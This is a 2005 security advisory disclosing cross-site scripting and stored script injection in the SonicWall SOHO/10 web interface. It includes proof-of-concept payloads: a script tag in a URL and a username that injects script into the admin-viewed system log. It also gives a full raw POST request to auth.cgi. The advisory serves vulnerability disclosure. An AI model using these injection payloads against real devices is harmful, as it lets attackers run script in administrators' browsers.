sonicwallXSS.txt

`SonicWALL SOHO/10 - XSS and Code Injection vulnerability  
========================================================  
  
Product:  
========  
  
SonicWall SOHO/10 is the 2nd generation Internet Security Appliance from  
Sonicwall, with firewall-, vpn-, contentfiltering- and other capabilities.   
  
  
Vulnerability:  
==============  
  
There is a Cross Site Scripting Vulnerability in the webroot.   
A HTTP-GET-request, containing script code will be executed  
in the webbrowsers environment of the user:  
  
  
http://192.168.168.168/<script>alert("Its not magic... its a  
sonic")</script>  
  
  
There is a second vulnerability, which i consider as something between a XSS  
and a code-injection vuln,  
because the user does not have to follow an html-link to run into the  
attack:  
  
If an attacker supplies a username, containing scriptcode, at the login-page  
of the device, an entry in the   
system logfile is done, containing the "username".  
  
The system logfile is displayed in html-format. If the appliance admin is  
viewing the logfile, the scriptcode  
will be executed.  
  
Because length of input field is limited by the browser (client site), you  
can insert a short script  
into the username field to do a quick verification of the existence of the  
vuln:  
  
</TD><script>alert("!")</script>  
  
To supply longer scripts, you have to modify the request f.e. with a proxy,  
or simply sent a modified   
post request via netcat:  
  
  
POST http://192.168.168.168:80/auth.cgi HTTP/1.0  
Accept: */*  
Referer: http://192.168.168.168/auth.html  
Accept-Language: de  
Content-Type: application/x-www-form-urlencoded  
Proxy-Connection: Keep-Alive  
User-Agent: BadGuy  
Host: 192.168.168.168  
Content-Length: 160  
Pragma: no-cache  
  
uName=</TD><script>alert("Its not magic... its a  
sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1  
  
  
  
Version:  
========  
  
I only tested the following version:  
  
SonicWall SOHO/10  
Firmware: 5.1.7.0  
ROM-Version: 4.0.0  
  
Other versions may also be affected.  
  
Vendor:  
=======  
  
Website: http://www.sonicwall.com  
Status: informed  
  
Discovered by:  
==============  
  
Oliver Karow  
Date: 29.03.2005  
Website: http://www.oliverkarow.de/research/sonicwall.txt  
  
--   
Handyrechnung zu hoch? Tipp: SMS und MMS mit GMX  
Seien Sie so frei: Alle Infos unter http://www.gmx.net/de/go/freesms  
`